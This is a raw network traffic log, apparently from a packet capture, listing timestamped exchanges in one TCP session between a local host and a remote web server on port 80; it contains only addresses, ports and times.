Dec 20, 2024 09:12:10.583283901 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.586523056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.586570024 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.586613894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.586672068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.589768887 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.589821100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.589905977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.589951038 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.593106985 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.593161106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.593269110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.593317986 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.596376896 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.596430063 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.596509933 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.596560001 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.599795103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.599853992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.600132942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.600183964 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.603046894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.603104115 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.603146076 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.603198051 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.606333971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.606393099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.606471062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.606522083 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.609651089 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.609720945 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.609764099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.609818935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.612967968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.613068104 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.613068104 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.613125086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.616291046 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.616349936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.616401911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.616456985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.619580030 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.619643927 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.619719982 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.619775057 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.622906923 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.622987986 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.623080969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.623145103 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.626259089 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.626322985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.626385927 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.626446009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.629549980 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.629601955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.629616022 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.629652023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.632879019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.632937908 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.632971048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.633018017 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.636177063 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.636238098 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.716862917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.716953039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.716960907 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.717009068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.717608929 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.717664957 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.717767954 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.717817068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.720371008 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.720470905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.720477104 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.720525026 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.722465992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.722542048 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.722592115 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.722640991 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.725275040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.725331068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.725426912 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.725472927 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.728003025 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.728063107 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.728122950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.728177071 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.730679989 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.730772018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.730902910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.730953932 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.733266115 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.733318090 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.733395100 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.733442068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.735896111 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.735934019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.735963106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.735990047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.738401890 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.738462925 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.738514900 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.738569021 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.740856886 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.740955114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.740972042 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.741024017 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.743346930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.743411064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.743444920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.743489981 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.745755911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.745810986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.745816946 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.745872974 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.748110056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.748172045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.748229027 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.748290062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.750437975 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.750493050 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.750557899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.750606060 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.752783060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.752846956 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.752882957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.752929926 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.755136967 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.755217075 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.755260944 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.755354881 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.757369041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.757420063 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.757493973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.757539988 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.759582996 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.759630919 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.759705067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.759751081 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.761904955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.761972904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.762017012 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.762063026 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.764079094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.764163017 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.764172077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.764234066 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.766313076 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.766360044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.766427040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.766472101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.768578053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.768630981 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.768718958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.768769979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.770832062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.770885944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.770931005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.770979881 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.773113012 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.773175955 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.773245096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.773304939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.775280952 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.775336981 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.775394917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.775445938 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.777520895 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.777579069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.777669907 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.777721882 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.779719114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.779787064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.779840946 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.779891968 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.781949043 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.782025099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.782071114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.782128096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.784248114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.784353971 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.784368992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.784411907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.786475897 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.786542892 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.787096977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.787153006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.788691998 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.788758039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.788808107 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.788857937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.790930986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.790994883 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.791047096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.791102886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.793135881 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.793193102 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.793282986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.793332100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.795380116 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.795429945 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.795434952 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.795478106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.797602892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.797657967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.797729969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.797780037 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.799845934 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.799895048 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.799967051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.800014019 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.802154064 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.802208900 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.802242041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.802289963 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.804296970 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.804402113 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.804438114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.804488897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.806579113 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.806636095 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.806854963 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.806907892 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.808789968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.808870077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.808908939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.808962107 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.811022997 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.811083078 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.811131954 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.811182022 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.813281059 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.813349962 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.813402891 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.813451052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.815502882 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.815556049 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.815557003 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.815598965 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.817725897 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.817819118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.817888021 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.817935944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.820053101 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.820117950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.820271015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.820322037 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.822180033 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.822242975 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.822350025 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.822391987 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.824443102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.824512005 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.824563980 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.824615955 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.826683044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.826750994 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.826807022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.826857090 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.828927994 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.828984022 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.829056025 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.829134941 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.831140041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.831195116 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.831265926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.831326962 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.833362103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.833410025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.833481073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.833540916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.909197092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.909403086 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.909431934 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.909473896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.910000086 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.910057068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.910164118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.910219908 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.911668062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.911729097 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.911804914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.911859035 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.913327932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.913451910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.913539886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.915029049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.915093899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.915096045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.915142059 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.916665077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.916723013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.916778088 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.916827917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.918251038 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.918302059 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.918375015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.918437004 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.919913054 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.919989109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.920017958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.920066118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.921458960 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.921509027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.921582937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.921643972 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.923032999 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.923084021 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.923086882 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.923135996 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.924596071 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.924652100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.924727917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.924777031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.926171064 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.926222086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.926223040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.926273108 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.927679062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.927738905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.927812099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.927861929 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.929162979 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.929214954 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.929290056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.929337025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.930666924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.930713892 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.930787086 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.930835009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.932188034 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.932256937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.932332993 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.932389021 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.933645010 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.933703899 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.933768988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.933820963 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.935108900 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.935153008 CET	49759	80	192.168.2.4	31.41.244.11
